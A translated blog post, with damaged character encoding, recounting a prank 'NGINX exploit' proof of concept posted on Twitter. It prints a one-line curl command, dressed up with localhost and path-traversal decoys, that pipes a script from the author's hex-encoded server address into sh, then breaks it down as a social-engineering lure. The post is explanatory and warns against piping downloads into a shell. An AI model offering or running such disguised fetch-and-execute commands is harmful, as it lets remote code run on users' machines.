Piezīme. tulk.:
TL;DR: nekÄdÄ gadÄ«jumÄ neizmantojiet failu konveijeru sh vai bash. Tas ir lielisks veids, kÄ zaudÄt kontroli pÄr datoru.
Es vÄlos dalÄ«ties ar jums Ä«su stÄstu par komisku PoC izmantoÅ”anu, kas tika izveidots 31. maijÄ. ViÅÅ” nekavÄjoties parÄdÄ«jÄs, reaÄ£Äjot uz ziÅÄm no
Pabeidzis darbu pie jaunas apmulsinÄÅ”anas tehnikas lokÄ, es citÄju oriÄ£inÄlo tvÄ«tu un ānoplÅ«du strÄdÄjoÅ”u PoCā, kas sastÄv no vienas koda rindiÅas, kas it kÄ izmanto atklÄto ievainojamÄ«bu. Protams, tas bija pilnÄ«gs absurds. PieÅÄmu, ka uzreiz tikÅ”u atmaskota, un labÄkajÄ gadÄ«jumÄ dabÅ«Å”u pÄris retvÄ«tus (o labi).
TomÄr es nevarÄju iedomÄties, kas notika tÄlÄk. Mana tvÄ«ta popularitÄte strauji pieauga. PÄrsteidzoÅ”i, ka Å”obrÄ«d (15:00 pÄc Maskavas laika, 1. jÅ«nijÄ) daži cilvÄki ir sapratuÅ”i, ka tas ir viltojums. Daudzi cilvÄki to retvÄ«to, to nemaz nepÄrbaudot (nemaz nerunÄjot par skaisto ASCII grafiku, ko tas izvada).
Paskatieties, cik tas ir skaisti!
Lai gan visas Ŕīs cilpas un krÄsas ir lieliskas, ir skaidrs, ka cilvÄkiem bija jÄpalaiž savÄ datorÄ kods, lai tos redzÄtu. Par laimi, pÄrlÅ«kprogrammas darbojas tÄpat, un apvienojumÄ ar faktu, ka es Ä«sti nevÄlÄjos iekļūt juridiskÄs nepatikÅ”anÄs, manÄ vietnÄ apraktais kods tikai veica atbalss zvanus, nemÄÄ£inot instalÄt vai izpildÄ«t papildu kodu.
Neliela novirze:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
SociÄli elektroniskÄ inženierija (SEE) ā vairÄk nekÄ tikai pikŔķerÄÅ”ana
DroŔība un zinÄÅ”anas bija Ŕī eksperimenta galvenÄ sastÄvdaļa. Es domÄju, ka tie ir tie, kas noveda pie viÅa panÄkumiem. Komandrinda skaidri norÄdÄ«ja uz droŔību, atsaucoties uz "127.0.0.1" (labi zinÄms localhost). Localhost tiek uzskatÄ«ts par droÅ”u, un tajÄ esoÅ”ie dati nekad neatstÄj jÅ«su datoru.
IepazÄ«Å”anÄs bija otra galvenÄ SEE sastÄvdaļa eksperimentÄ. TÄ kÄ mÄrÄ·auditorija galvenokÄrt sastÄvÄja no cilvÄkiem, kuri pÄrzina datoru droŔības pamatus, bija svarÄ«gi izveidot kodu tÄ, lai tÄ daļas liktos pazÄ«stamas un pazÄ«stamas (un lÄ«dz ar to droÅ”as). Veco ekspluatÄcijas koncepciju elementu aizÅemÅ”anÄs un neparastÄ apvienoÅ”ana ir izrÄdÄ«jusies ļoti veiksmÄ«ga.
TÄlÄk ir sniegta detalizÄta viena starplikas analÄ«ze. Viss Å”ajÄ sarakstÄ valkÄ kosmÄtiskais raksturs, un tÄ faktiskai darbÄ«bai praktiski nekas nav vajadzÄ«gs.
KÄdi komponenti patieÅ”Äm ir nepiecieÅ”ami? Å is -gsS
, -O 0x0238f06a
, |sh
un pats tÄ«mekļa serveris. TÄ«mekļa serveris nesaturÄja nekÄdus ļaunprÄtÄ«gus norÄdÄ«jumus, bet vienkÄrÅ”i apkalpoja ASCII grafiku, izmantojot komandas echo
ietvertajÄ skriptÄ index.html
. Kad lietotÄjs ievadÄ«ja rindiÅu ar |sh
vidū, index.html
ielÄdÄts un izpildÄ«ts. Par laimi, tÄ«mekļa servera glabÄtÄjiem nebija ļaunu nodomu.
-
../../../%00
ā attÄlo, kas pÄrsniedz direktoriju; -
ngx_stream_module.so
ā ceļŔ uz nejauÅ”u NGINX moduli; -
/bin/sh%00<'protocol:TCP'
- mÄs it kÄ palaižam/bin/sh
mÄrÄ·a maŔīnÄ un novirzÄ«t izvadi uz TCP kanÄlu; -
-O 0x0238f06a#PLToffset
- slepena sastÄvdaļa, papildinÄta#PLToffset
, lai izskatÄs kÄ atmiÅas nobÄ«de, kas kaut kÄdÄ veidÄ ietverta PLT; -
|sh;
- vÄl viens svarÄ«gs fragments. Mums vajadzÄja novirzÄ«t izvadi uz sh/bash, lai izpildÄ«tu kodu, kas nÄk no uzbrÅ«koÅ”Ä tÄ«mekļa servera, kas atrodas0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- manekens, uz kuru attiecas netcat/dev/tcp/localhost
lai viss atkal izskatÄs droÅ”i. PatiesÄ«bÄ tas neko nedara un ir iekļauts skaistuma rindÄ.
Ar to tiek pabeigta vienas rindas skripta atÅ”ifrÄÅ”ana un diskusija par āsociÄli elektroniskÄs inženierijasā (sarežģītas pikŔķerÄÅ”anas) aspektiem.
Web servera konfigurÄcija un pretpasÄkumi
TÄ kÄ lielÄkÄ daļa manu abonentu ir infosec/hakeri, es nolÄmu padarÄ«t tÄ«mekļa serveri nedaudz izturÄ«gÄku pret viÅu āinteresesā izpausmÄm, lai puiÅ”iem bÅ«tu ko darÄ«t (un tas bÅ«tu jautri uzstÄdÄ«t). Es Å”eit neuzskaitÄ«Å”u visas nepilnÄ«bas, jo eksperiments joprojÄm turpinÄs, taÄu Å”eit ir dažas lietas, ko serveris dara:
- AktÄ«vi uzrauga izplatÄ«Å”anas mÄÄ£inÄjumus noteiktos sociÄlajos tÄ«klos un aizstÄj dažÄdus priekÅ”skatÄ«juma sÄ«ktÄlus, lai mudinÄtu lietotÄju noklikŔķinÄt uz saites.
- TÄ vietÄ, lai rÄdÄ«tu Äaulas skriptu, tiek novirzÄ«ts pÄrlÅ«ks Chrome/Mozilla/Safari/u.c. uz Thugcrowd reklÄmas videoklipu.
- NovÄro, vai nav APKLÄJAMÄS ielauÅ”anÄs/neskaidra uzlauÅ”anas pazÄ«mju, un pÄc tam sÄk pÄradresÄt pieprasÄ«jumus uz NSA serveriem (ha!).
- InstalÄ Trojas zirgu, kÄ arÄ« BIOS saknes komplektu visos datoros, kuru lietotÄji apmeklÄ saimniekdatoru no parastÄs pÄrlÅ«kprogrammas (joks!).
Neliela daļa antimÄru
Å ajÄ gadÄ«jumÄ mans vienÄ«gais mÄrÄ·is bija apgÅ«t dažas Apache funkcijas, jo Ä«paÅ”i forÅ”os pieprasÄ«jumu pÄradresÄcijas noteikumus, un es domÄju: kÄpÄc gan ne?
NGINX Exploit (Ä«sts!)
AbonÄt
Avots: www.habr.com